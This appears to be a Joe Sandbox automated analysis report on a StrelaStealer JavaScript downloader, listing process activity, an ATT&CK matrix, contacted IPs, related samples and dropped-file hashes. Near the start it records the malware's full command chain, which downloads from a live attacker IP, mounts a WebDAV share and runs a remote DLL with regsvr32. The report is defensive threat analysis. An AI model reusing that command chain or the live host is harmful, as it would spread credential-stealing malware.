Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
20314304422672320911.js	5%	Virustotal		Browse
20314304422672320911.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/E	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 0000000C.00000002.1300000116.000001BCEA9A8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000E.00000003.1308898332.000001F720750000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	false		high
http://crl.ver)	svchost.exe, 0000000E.00000002.2530015492.000001F720800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.13.dr	false		high
https://www.adobe.co	ReaderMessages.10.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.14.dr	false		high
http://193.143.1.205:8888/E	net.exe, 0000000C.00000002.1300000116.000001BCEA9DC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 0000000C.00000002.1300000116.000001BCEA9A8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1300000116.000001BCEA9DC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1300000116.000001BCEA9FB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/L	net.exe, 0000000C.00000002.1300000116.000001BCEA9A8000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588801
Start date and time:	2025-01-11 05:38:42 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	20314304422672320911.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 3.233.129.217, 52.22.41.97, 3.219.243.226, 52.6.155.20, 2.23.242.162, 2.23.197.184, 199.232.214.172, 2.16.168.105, 2.16.168.107, 13.107.246.45, 20.12.23.50, 104.118.8.172
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:39:38	API Interceptor	23x Sleep call for process: powershell.exe modified
23:39:41	API Interceptor	1x Sleep call for process: net.exe modified
23:39:42	API Interceptor	2x Sleep call for process: svchost.exe modified
23:39:50	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22736232701915520651.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19663169782459227955.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	19663169782459227955.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22736232701915520651.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	158324772041924674.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10256249222235922013.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6734200751517017767.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067258283567108
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vqo:2JIB/wUKUKQncEmYRTwh0U
MD5:	194D2F658902BC33420DF39573C2CDD7
SHA1:	D58A5633F5DDE119AB37331F7AC4F650A78B6CE5
SHA-256:	EF93E8F5A1CBB12D72A6469DA476D1D8FEACCD272F4AAC527BCADF4D00E57FA5
SHA-512:	110ECB370D0D6DDD66C99C5F73F961A78D8CE5B2FA66FD759466D56B708F4940BB4C825A90FF630DFA46773CA47C5069E8C597D71D08CFCA5C179783C16F3322
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xd35a5d01, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899604717404354
Encrypted:	false
SSDEEP:	1536:LSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:LazaPvgurTd42UgSii
MD5:	1B7507B0AEC8C49CA2EAA330892BE0D6
SHA1:	5475E6304852F18F049786B2E7DF817BED367C22
SHA-256:	9FCD9BF62C7A3497AB8EAB0B909EC39C6903470D222B13F2DB62E2F27AFF0F1C
SHA-512:	65086A82747322E3E6E728AEAE704BF2D9055B4F98D50A591BDC84F6FCD9DBA14370B88DEC9AFB09DB9A834DE77CD487AB9D6090860D7A4056EEB864A2ADA8A9
Malicious:	false
Preview:	.Z].... ...............X\...;...{......................0.`.....42...{5.+'...}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{..................................z.f+'...}...................]_g+'...}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08074311944028266
Encrypted:	false
SSDEEP:	3:bl/llKYe5NR2xht/57Dek3JvX8/YllEqW3l/TjzzQ/t:B//Kz5NRQR3tPxmd8/
MD5:	8BFAD1376D24309874ABC335D3AB0B2B
SHA1:	CC09DF453D2A5066A396A1C76ED0B2AF7DDCABE8
SHA-256:	85BB9FD9AB05F3BB27857E3E34400E8812379868326BD8C1C6ADA22D58FFB1D5
SHA-512:	2C1E3CB2565744EAF9391D254A310D103F6923BCCF5A887B2E2138B2D1ED2F24CCF8F645E597A004D9D2E8E80EB2FC17074CD610B6DF6B1E8DCB153D5A0BC8CD
Malicious:	false
Preview:	.{`......................................;...{..+'...}..42...{5.........42...{5.42...{5...Y.42...{59.................]_g+'...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.260404205177584
Encrypted:	false
SSDEEP:	6:iO4q7uBj+q2PcNwi2nKuAl9OmbnIFUtSq7uBaFXZmwsq7uBaF3VkwOcNwi2nKuAR:7RbvLZHAahFUtPtx/1tr54ZHAaSJ
MD5:	0F86E1D8832794F34B41BDF7BF0569CD
SHA1:	3377C0DBDD4EA3060908AD5948725BC08225FC37
SHA-256:	AA4DB156EB1E318BC1C24299B4498E14F59B17ACF84E926069E9292ED2A6C699
SHA-512:	14C5044C5A11E5A7CA57D5D12C53CD0823363033152F2226939CEFD1519ADA10D9F7F4F02D7C8D9435F85AAF992A57AF1883012259025E5BA04DC4265A69802B
Malicious:	false
Preview:	2025/01/10-23:39:42.659 1de8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:39:42.663 1de8 Recovering log #3.2025/01/10-23:39:42.663 1de8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.260404205177584
Encrypted:	false
SSDEEP:	6:iO4q7uBj+q2PcNwi2nKuAl9OmbnIFUtSq7uBaFXZmwsq7uBaF3VkwOcNwi2nKuAR:7RbvLZHAahFUtPtx/1tr54ZHAaSJ
MD5:	0F86E1D8832794F34B41BDF7BF0569CD
SHA1:	3377C0DBDD4EA3060908AD5948725BC08225FC37
SHA-256:	AA4DB156EB1E318BC1C24299B4498E14F59B17ACF84E926069E9292ED2A6C699
SHA-512:	14C5044C5A11E5A7CA57D5D12C53CD0823363033152F2226939CEFD1519ADA10D9F7F4F02D7C8D9435F85AAF992A57AF1883012259025E5BA04DC4265A69802B
Malicious:	false
Preview:	2025/01/10-23:39:42.659 1de8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:39:42.663 1de8 Recovering log #3.2025/01/10-23:39:42.663 1de8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.21958069583229
Encrypted:	false
SSDEEP:	6:iO4q7uBQUq2PcNwi2nKuAl9Ombzo2jMGIFUtSq7uBSZmwsq7uBekwOcNwi2nKuAv:7RUvLZHAa8uFUtPr/1h54ZHAa8RJ
MD5:	5B69E49857EE8D8661877033A20E82F8
SHA1:	E3C542F52B65933CDE52EE5E6BD459992F9EBD5E
SHA-256:	70D90D7F79585D5433900CE23E6F028294C2EA7335B70C0F5CCC5D003591FA37
SHA-512:	4A995D7D5410053C7C662A87435DCB29D465F61E1E2003C722B8D8DA802826D09074E5976CDD6649CB90D064C031EE611A2BEDCB93FB34E65754110600D3ADFE
Malicious:	false
Preview:	2025/01/10-23:39:42.669 1eb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:39:42.670 1eb4 Recovering log #3.2025/01/10-23:39:42.670 1eb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.21958069583229
Encrypted:	false
SSDEEP:	6:iO4q7uBQUq2PcNwi2nKuAl9Ombzo2jMGIFUtSq7uBSZmwsq7uBekwOcNwi2nKuAv:7RUvLZHAa8uFUtPr/1h54ZHAa8RJ
MD5:	5B69E49857EE8D8661877033A20E82F8
SHA1:	E3C542F52B65933CDE52EE5E6BD459992F9EBD5E
SHA-256:	70D90D7F79585D5433900CE23E6F028294C2EA7335B70C0F5CCC5D003591FA37
SHA-512:	4A995D7D5410053C7C662A87435DCB29D465F61E1E2003C722B8D8DA802826D09074E5976CDD6649CB90D064C031EE611A2BEDCB93FB34E65754110600D3ADFE
Malicious:	false
Preview:	2025/01/10-23:39:42.669 1eb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:39:42.670 1eb4 Recovering log #3.2025/01/10-23:39:42.670 1eb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\1e2afb1b-b231-467f-94c7-a721bf853ac3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\82b82e16-0dff-48e5-90a1-127ffa066728.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.962337811661757
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjxDsBdOg2Hj2caq3QYiubSpDyP7E4T3y:Y2sRdsqKdMHjJ3QYhbSpDa7nby
MD5:	89C54E7DB7ADD84A325314630F8DCB28
SHA1:	427A3B8B6665F2D3003C9014C9D3D3A3E8D8D22A
SHA-256:	4DDF1068AAE1C3E5342B0F863531A8898C939371E13BE4EB2477B79E01C8455C
SHA-512:	D6545B8400F48B4B2C5821EE1D0E2A8E332E8AC5AEB159E3DF8B0FC5E56A34595F039BB3A34232298558DF7468D34A79DD71AA8D9E2B67330067C21FE878FE56
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381130393786337","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":108401},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6df114.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.229152664124009
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPRoxx6OH:CwNw1GHqPySfkcigoO3h28ytPy6OH
MD5:	1A020EE9009540036183759E70DFEBD0
SHA1:	24B04E4DB3ADD8887F660E3FA1C49B9F954274D4
SHA-256:	084958F49ADACE530B6727339A4A9943E8D2A4C6F8AC4C195EA97039E4413FDA
SHA-512:	2A07C95C9468510CCAB6232EA3856AFD458B0DE36EC29A0D3F48C7654E3C685949CEB28051B7E4AE89ECDCD82F06F355F3B40F947E09F865A4882BC9DB854607
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.231251301131495
Encrypted:	false
SSDEEP:	6:iO4q7uPF9Iq2PcNwi2nKuAl9OmbzNMxIFUtSq7uPAXZmwsq7uPfZDzkwOcNwi2nv:7R6F9IvLZHAa8jFUtP6M/16RDz54ZHAo
MD5:	748BD6FDAF4D36C2E08C0288AE3AE00B
SHA1:	81BC92762BCE8E112C08715CA3961780DBB127DC
SHA-256:	8CCD226885DE541AE4F10BA84319AAC6C62FCB6DB4084E6515CAA4B17BF845EE
